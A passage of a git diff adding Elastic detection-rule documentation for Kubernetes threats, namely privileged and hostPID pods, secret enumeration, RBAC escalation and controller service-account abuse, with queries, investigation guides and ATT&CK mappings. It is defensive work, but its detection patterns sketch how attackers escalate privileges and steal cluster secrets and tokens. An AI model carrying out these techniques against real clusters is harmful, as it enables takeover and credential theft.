+kubernetes.audit.requestObject.spec.hostPID:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + ghcr.io/aquasecurity/node-collector* or rancher/system-agent* or ghcr.io/kubereboot/kured* or + *elastic/elastic-agent* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or quay.io/prometheus/node-exporter* or + docker.elastic.co/beats/elastic-agent* or quay.io/cephcsi/cephcsi* or registry.crowdstrike.com/falcon-sensor* or */sysdig/* or + rancher/mirrored-longhornio-longhorn-manager* or gcr.io/datadoghq/agent* or mcr.microsoft.com/oss/*/kubernetes-csi* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-privileged-pod-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-privileged-pod-created.asciidoc new file mode 100644 index 0000000000..af6a4d5446 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-privileged-pod-created.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-kubernetes-privileged-pod-created]] +=== Kubernetes Privileged Pod Created + +This rule detects when a user creates a pod/container running in privileged mode. A highly privileged container has access to the node's resources and breaks the isolation between containers. If compromised, an attacker can use the privileged container to gain access to the underlying host. Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Privileged Pod Created* + + +Kubernetes allows for the creation of privileged pods, which can access the host's resources, breaking container isolation. Adversaries may exploit this to escalate privileges, access sensitive data, or establish persistence. The detection rule identifies such events by monitoring audit logs for pod creation with privileged settings, excluding known safe images, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user or service account responsible for creating the privileged pod by examining the `kubernetes.audit.annotations.authorization_k8s_io/decision` and `kubernetes.audit.verb:create` fields. +- Investigate the context of the privileged pod creation by checking the `kubernetes.audit.requestObject.spec.containers.image` field to determine if the image used is known or potentially malicious. +- Assess the necessity and legitimacy of the privileged pod by consulting with the relevant development or operations teams to understand if there was a valid reason for its creation. +- Examine the `kubernetes.audit.objectRef.resource:pods` field to identify the specific pod and its associated namespace, and verify if it aligns with expected deployment patterns or environments. +- Check for any subsequent suspicious activities or anomalies in the Kubernetes environment that may indicate further exploitation attempts, such as lateral movement or data exfiltration, following the creation of the privileged pod. + + +*False positive analysis* + + +- Known safe images like "docker.elastic.co/beats/elastic-agent:8.4.0" are already excluded from triggering alerts. Ensure that any additional internal or third-party images that are verified as safe are added to the exclusion list to prevent unnecessary alerts. +- Development and testing environments often use privileged pods for legitimate purposes. Consider creating separate rules or exceptions for these environments to avoid false positives while maintaining security in production. +- Automated deployment tools or scripts might create privileged pods as part of their normal operation. Review these tools and, if they are deemed safe, add their specific actions or images to the exclusion list. +- Regularly review and update the exclusion list to reflect changes in your environment, such as new safe images or changes in deployment practices, to maintain an accurate detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected node to prevent further exploitation and lateral movement within the cluster. This can be done by cordoning and draining the node to stop new pods from being scheduled and to safely evict existing pods. +- Terminate the privileged pod to stop any ongoing malicious activity. Ensure that the termination is logged for further analysis. +- Conduct a thorough review of the audit logs to identify any unauthorized access or actions taken by the privileged pod. Focus on any attempts to access sensitive data or escalate privileges. +- Reset credentials and access tokens that may have been exposed or compromised due to the privileged pod's access to the host's resources. +- Patch and update the Kubernetes environment and any affected nodes to address vulnerabilities that may have been exploited to create the privileged pod. +- Implement network segmentation and firewall rules to limit the communication capabilities of pods, especially those with elevated privileges, to reduce the risk of lateral movement. +- Escalate the incident to the security operations team for a comprehensive investigation and to assess the need for further security measures or incident response actions. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:pods and kubernetes.audit.verb:create and kubernetes.audit.requestObject.spec.containers.securityContext.privileged:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + *amazonaws.com/betsie/pipeline/pipeline-core* or mirror.gcr.io/aquasec/trivy* or rancher/mirrored-longhornio-longhorn-instance-manager* or quay.io/calico* or + rancher/system-agent* or openebs/m-exporter* or openebs/cstor-istgt* or ghcr.io/kubereboot/kured* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or + registry.k8s.io/csi-secrets-store* or registry.gitlab.com/gitlab-org/gitlab-runner/gitlab-runner-helper* or sonarsource/sonar-scanner-cli* or + rancher/mirrored-longhornio-longhorn-engine* or jenkins/inbound-agent* or mcr.microsoft.com/oss/v2/kubernetes-csi* or registry.k8s.io/dns/k8s-dns-node-cache* or + *amazonaws.com/eks/kube-proxy* or *amazonaws.com/eks/aws-efs-csi-driver* or *amazonaws.com/eks/livenessprobe* or *amazonaws.com/amazon-k8s-cni* or + *amazonaws.com/amazon/aws-network-policy-agent* or mcr.microsoft.com/oss/kubernetes-csi* or openebs/node-disk-manager* or openebs/node-disk-exporter* or + mcr.microsoft.com/oss/kubernetes/kube-proxy* or public.ecr.aws/eks-distro/kubernetes-csi/livenessprobe* or public.ecr.aws/eks-distro/kubernetes-csi/external-provisioner* or + amazon/aws-efs-csi-driver* or registry.k8s.io/kube-proxy* or registry.crowdstrike.com/falcon-sensor* or *octopus-deploy/tentacle* or */sysdig/* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-secret-access-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-secret-access-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..5ea661a94a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-secret-access-via-unusual-user-agent.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-21-kubernetes-secret-access-via-unusual-user-agent]] +=== Kubernetes Secret Access via Unusual User Agent + +This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Secret Access via Unusual User Agent* + + +This rule flags requests to read or enumerate Kubernetes secrets when they come from an uncommon client profile, account, and network source, which can expose tokens, keys, and passwords that unlock wider cluster or cloud access. A common attacker pattern is to compromise a pod or steal a kubeconfig, then use curl or a custom script from a new host to pull service-account tokens, registry credentials, or application secrets for follow-on movement. + + +*Possible investigation steps* + + +- Determine whether the requesting identity, source IP, and user agent align with a known administrator workstation, CI/CD runner, controller, or approved automation path by validating change records, VPN or proxy logs, and asset ownership. +- Review the exact secret names and namespaces accessed to assess impact, prioritizing service-account tokens, registry credentials, cloud keys, kubeconfigs, and secrets tied to production or highly privileged workloads. +- Compare the event to the identity’s historical Kubernetes activity to confirm whether the client pattern, originating network, targeted namespaces, or access volume are new or unusually broad for that account. +- Correlate nearby cluster and cloud activity from the same identity or source for signs of follow-on actions such as pod exec, token creation, role binding changes, API discovery bursts, or authentication attempts using newly exposed credentials. +- If the access is not clearly authorized, contain by revoking or rotating the exposed secrets and linked credentials, then inspect the originating host or pod and its RBAC permissions for evidence of compromise or misuse. + + +*False positive analysis* + + +- A cluster administrator may legitimately use curl, a browser, or a custom script from a newly assigned workstation or bastion host to inspect a secret during troubleshooting, so verify the activity against approved maintenance records and confirm the source IP and user identity map to that authorized host and user. +- A workload or internal automation can access secrets through a nonstandard Kubernetes API client after a deployment, restart, or credential rotation, so confirm the service account, namespace, and RBAC scope match the application’s expected behavior and correlate the timing with recent operational changes. + + +*Response and remediation* + + +- Isolate the source of the secret access by quarantining the implicated workstation or pod, cordoning the hosting node if needed, and temporarily blocking its network path to the Kubernetes API server and other sensitive services. +- Revoke the attacker’s access by disabling the abused user or service account, deleting exposed or suspicious kubeconfigs, API tokens, CronJobs, DaemonSets, backdoor pods, and any newly created RoleBindings or ClusterRoleBindings tied to the activity. +- Rotate every secret that was read or listed and all downstream credentials it protects, including service-account tokens, registry passwords, cloud IAM keys, database credentials, and application secrets, then restart affected workloads so they load the new values from trusted sources. +- Restore the cluster to a known-good state by redeploying affected workloads from trusted images and manifests, validating namespaces and mounts against approved baselines, and removing any unauthorized containers or helper utilities left behind for persistence. +- Escalate to incident response immediately if the access touched production namespaces, cluster-admin or cloud-linked credentials, multiple namespaces, or was followed by pod exec, token creation, or lateral movement from the same host or account. +- Harden against recurrence by reducing secret-read permissions to only required service accounts, forcing administrative access through approved bastions, enforcing short-lived credentials with regular rotation, and alerting on nonstandard clients or sudden secret enumeration activity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and kubernetes.audit.objectRef.resource:"secrets" and +kubernetes.audit.verb:("get" or "list") and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc new file mode 100644 index 0000000000..d491284a19 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-kubernetes-sensitive-rbac-change-followed-by-workload-modification]] +=== Kubernetes Sensitive RBAC Change Followed by Workload Modification + +Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Sensitive RBAC Change Followed by Workload Modification* + + +This rule detects when a user grants or broadens high-risk permissions in a Role/ClusterRole and then quickly creates or patches a DaemonSet, Deployment, or CronJob, a strong signal of RBAC-driven privilege escalation followed by payload deployment. Attackers often add wildcard access or escalation verbs to a new role, bind it to their identity, then patch a workload to run a malicious container across nodes or on a schedule to establish persistence. + + +*Possible investigation steps* + + +- Review the Role/ClusterRole change diff to identify newly granted wildcard resources/verbs or escalation permissions (e.g., bind, impersonate, escalate) and determine the effective access increase for the actor. +- Identify any RoleBinding/ClusterRoleBinding creations or updates around the same time to see whether the modified role was bound to the same principal or a newly created service account. +- Inspect the subsequent DaemonSet/Deployment/CronJob spec changes for malicious indicators such as new images, added initContainers, elevated securityContext (privileged/hostPID/hostNetwork), hostPath mounts, or suspicious command/args. +- Correlate pod runtime activity from the modified workload (image pulls, container starts, outbound connections, and access to secrets/configmaps) to confirm execution and scope of impact. +- Validate the actor’s legitimacy by checking whether the request originated from expected IP/user-agent and whether the identity is associated with approved CI/CD automation or an unusual interactive session. + + +*False positive analysis* + + +- A platform engineer performing an urgent, legitimate RBAC adjustment (e.g., expanding a Role/ClusterRole for a new feature rollout) and then immediately patching or deploying a DaemonSet/Deployment/CronJob as part of the same change window can match this sequence. +- A CI/CD pipeline or GitOps-style workflow using a non-system:masters identity may update RBAC manifests and then apply workload updates within minutes during routine releases, producing this pattern without malicious intent. + + +*Response and remediation* + + +- Immediately revoke or roll back the risky Role/ClusterRole changes and remove any new/updated RoleBinding/ClusterRoleBinding that ties the elevated permissions to the triggering user or service account. +- Quarantine the modified Deployment/DaemonSet/CronJob by scaling it to zero or deleting it and cordon/drain affected nodes if pods ran privileged, used hostPath mounts, or executed on many nodes. +- Rotate credentials and access paths exposed through the workload (service account tokens, kubeconfig files, mounted secrets, cloud keys) and invalidate any newly issued tokens tied to the actor. +- For eradication and recovery, redeploy workloads from trusted Git/registry sources, block the suspicious images/digests in admission controls, and verify no persistence remains via CronJobs, DaemonSets, webhook configurations, or additional RBAC bindings. +- Escalate to incident response and platform leadership if the RBAC change included wildcard permissions or escalation verbs, if the workload ran privileged/hostNetwork/hostPID, or if sensitive secrets were accessed or exfiltration is suspected. +- Harden by enforcing least-privilege RBAC, requiring peer approval for RBAC changes, restricting workload mutations via GitOps-only service accounts, and using admission policies to deny privileged pods, hostPath mounts, and unapproved registries. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=5m + [any where data_stream.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("roles", "clusterroles") and + kubernetes.audit.verb in ("create", "update", "patch")] + [any where data_stream.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("daemonsets", "deployments", "cronjobs") and + kubernetes.audit.verb in ("create", "patch") and + /* reduce control-plane / bootstrap noise */ + not kubernetes.audit.user.groups == "system:masters" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-service-account-modified-rbac-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-service-account-modified-rbac-objects.asciidoc new file mode 100644 index 0000000000..55696749a3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-service-account-modified-rbac-objects.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-kubernetes-service-account-modified-rbac-objects]] +=== Kubernetes Service Account Modified RBAC Objects + +Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Service Account Modified RBAC Objects* + + +This rule detects Kubernetes service accounts performing allowed write actions on RBAC resources such as Roles and RoleBindings, which is atypical because service accounts rarely administer permissions. It matters because stolen or over-privileged service account tokens can silently alter authorization to gain or retain elevated access across the cluster. An attacker commonly uses a compromised workload’s token to create or patch a binding that grants cluster-admin privileges to their service account for persistent control. + + +*Possible investigation steps* + + +- Retrieve the full audit event and diff the before/after RBAC object to identify newly granted subjects, verbs, resources, and cluster-admin or wildcard permissions. +- Trace the acting service account to its owning workload (Deployment/Pod) and node, then review recent image changes, restarts, exec sessions, and container logs around the event time for compromise indicators. +- Determine whether the change is attributable to an expected controller or GitOps/CI automation by correlating with change tickets, pipeline runs, and repository commits for RBAC manifests. +- Validate whether the service account token may be abused by checking for unusual API access patterns, source IPs/user agents, and cross-namespace activity compared to its baseline behavior. +- Contain if suspicious by reverting the RBAC change, rotating the service account token (and any mounted secrets), and tightening the service account’s Role/ClusterRole to least privilege. + + +*False positive analysis* + + +- A platform automation running in-cluster (e.g., a controller or CI job using a service account) legitimately applies RBAC manifests during routine deployment, upgrades, or namespace onboarding, resulting in create/patch/update of Roles or RoleBindings. +- A Kubernetes operator or housekeeping workflow running under a service account intentionally adjusts RBAC as part of maintenance (e.g., rotating access, reconciling drift, or cleaning up obsolete bindings) and triggers allowed delete or update actions on RBAC resources. + + +*Response and remediation* + + +- Immediately remove or quarantine the offending service account by deleting its RoleBindings/ClusterRoleBindings and restarting or scaling down the owning workload to stop further RBAC writes. +- Revert the unauthorized RBAC object changes by restoring the last known-good Roles/Bindings from GitOps/manifests (or `kubectl rollout undo` where applicable) and verify no new subjects gained wildcard or cluster-admin-equivalent access. +- Rotate credentials by recreating the service account or triggering token re-issuance, deleting any mounted legacy token secrets, and redeploying workloads to ensure old tokens cannot be reused. +- Hunt and eradicate persistence by searching for additional recently modified RBAC objects and newly created service accounts in the same namespaces, then remove unauthorized accounts/bindings and scan the implicated container images for backdoors. +- Escalate to incident response and cluster administrators immediately if any change grants `cluster-admin`, introduces `*` verbs/resources, or binds a service account to privileged ClusterRoles across namespaces. +- Harden going forward by enforcing least-privilege RBAC, enabling admission controls to restrict RBAC modifications to approved identities/namespaces, and using short-lived projected service account tokens with workload identity constraints. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.user.username:( + system\:serviceaccount\:* and not ( + "system:serviceaccount:kube-system:clusterrole-aggregation-controller" or + "system:serviceaccount:kube-system:generic-garbage-collector" + ) +) and +kubernetes.audit.objectRef.resource:("clusterrolebindings" or "clusterroles" or "rolebindings" or "roles") and +kubernetes.audit.verb:("create" or "delete" or "patch" or "update") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc new file mode 100644 index 0000000000..73a60db803 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-kubernetes-suspicious-assignment-of-controller-service-account]] +=== Kubernetes Suspicious Assignment of Controller Service Account + +This rule detects a request to attach a controller service account to an existing or new pod running in the kube-system namespace. By default, controllers running as part of the API Server utilize admin-equivalent service accounts hosted in the kube-system namespace. Controller service accounts aren't normally assigned to running pods and could indicate adversary behavior within the cluster. An attacker that can create or modify pods or pod controllers in the kube-system namespace, can assign one of these admin-equivalent service accounts to a pod and abuse their powerful token to escalate privileges and gain complete cluster control. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Suspicious Assignment of Controller Service Account* + + +Kubernetes uses service accounts to manage pod permissions, with controller service accounts in the kube-system namespace having elevated privileges. Adversaries may exploit this by assigning these accounts to pods, gaining admin-level access. The detection rule identifies such suspicious assignments by monitoring audit logs for pod creation events in the kube-system namespace with controller service accounts, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the presence of a "create" event for a pod in the "kube-system" namespace with a service account name containing "controller". +- Identify the source of the request by examining the user or service account that initiated the pod creation event in the audit logs. +- Check the history of the involved service account to determine if it has been used in any other suspicious activities or unauthorized access attempts. +- Investigate the pod's configuration and associated resources to understand its purpose and whether it aligns with expected operations within the cluster. +- Assess the potential impact by evaluating the permissions and roles associated with the controller service account assigned to the pod. +- Review recent changes or deployments in the "kube-system" namespace to identify any unauthorized modifications or anomalies. + + +*False positive analysis* + + +- Routine maintenance tasks in the kube-system namespace may involve creating or modifying pods with elevated service accounts. Review the context of such actions to determine if they are part of scheduled maintenance or updates. +- Automated deployment tools might temporarily assign controller service accounts to pods for configuration purposes. Verify if these actions align with known deployment processes and consider excluding these specific tools from triggering alerts. +- Legitimate testing or debugging activities by cluster administrators could involve using controller service accounts. Ensure these activities are documented and consider creating exceptions for known testing environments. +- Some monitoring or logging solutions might require elevated permissions and could inadvertently trigger this rule. Validate the necessity of these permissions and whitelist these solutions if they are deemed non-threatening. +- Regularly review and update the list of known benign service account assignments to ensure that only unexpected or unauthorized assignments are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected pod by cordoning the node it is running on to prevent further scheduling of pods and drain the node if necessary to stop the pod from executing. +- Revoke the service account token associated with the suspicious pod to prevent further unauthorized access or actions using the compromised credentials. +- Conduct a thorough review of recent changes in the kube-system namespace to identify unauthorized modifications or deployments, focusing on the creation and modification of pods and service accounts. +- Reset credentials and rotate keys for any service accounts that may have been compromised to ensure that any stolen credentials are rendered useless. +- Implement network policies to restrict pod-to-pod communication within the kube-system namespace, limiting the potential lateral movement of an attacker. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or systems have been affected. +- Enhance monitoring and alerting for similar activities by ensuring audit logs are comprehensive and that alerts are configured to detect unauthorized service account assignments promptly. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb : "create" and kubernetes.audit.objectRef.resource : "pods" and +kubernetes.audit.objectRef.namespace : "kube-system" and kubernetes.audit.requestObject.spec.serviceAccountName:*controller and +not kubernetes.audit.requestObject.spec.containers.image:( + mirror.gcr.io/aquasec/trivy* or *amazonaws.com/eks/snapshot-controller* or rancher/mirrored-sig-storage-snapshot-controller* or + public.ecr.aws/eks/aws-load-balancer-controller* or docker.io/bitnami/sealed-secrets-controller* or exoscale/csi-driver* or + registry.k8s.io/autoscaling/vpa-admission-controller* or registry.k8s.io/sig-storage/csi-attacher* or registry.k8s.io/sig-storage/csi-provisioner* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..db7bd836d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-kubernetes-suspicious-self-subject-review-via-unusual-user-agent]] +=== Kubernetes Suspicious Self-Subject Review via Unusual User Agent + +This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + 